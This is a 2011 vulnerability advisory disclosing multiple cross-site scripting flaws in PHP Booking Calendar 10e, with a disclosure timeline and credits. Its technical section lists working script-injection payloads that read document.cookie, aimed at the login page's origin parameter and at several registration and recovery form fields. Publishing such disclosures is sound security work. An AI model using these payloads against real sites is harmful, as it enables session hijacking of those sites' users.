Advisory:              	PHP Booking Calendar Multiple Cross-Site Scripting Vulnerabilities
Advisory ID:           	SSCHADV2011-029
Author:                	Stefan Schurtz
Affected Software:  	Successfully tested on PHP Booking Calendar 10e
Vendor URL:          	https://sourceforge.net/projects/bookingcalendar/
Vendor Status:       	informed
CVE-ID:                	-

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Vulnerability Description:
==========================

PHP Booking Calendar is prone to multiple Cross-Site scripting vulernabilities

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Technical Details:
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http://<target>/booking_calendar/user_login.php?origin='"</script><script>alert(document.cookie)</script>

http://<target>/booking_calendar/user_forgot_passwd.php -> E-mail Address -> '"</script><script>alert(document.cookie)</script>
http://<target>/booking_calendar/user_forgot_username.php -> E-mail Address -> '"</script><script>alert(document.cookie)</script>
http://<target>/booking_calendar/user_register.php -> E-mail Address -> '"</script><script>alert(document.cookie)</script>
http://<target>/booking_calendar/user_register.php -> Last Name -> '"</script><script>alert(document.cookie)</script>
http://<target>/booking_calendar/user_register.php -> First Name -> '"</script><script>alert(document.cookie)</script>

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Solution:
=========

-

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Disclosure Timeline:
====================

16-Oct-2011 - informed developers
18-Oct-2011 - release date of this security advisory

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Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz.

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References:
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https://sourceforge.net/projects/bookingcalendar/
http://www.rul3z.de/advisories/SSCHADV2011-029.txt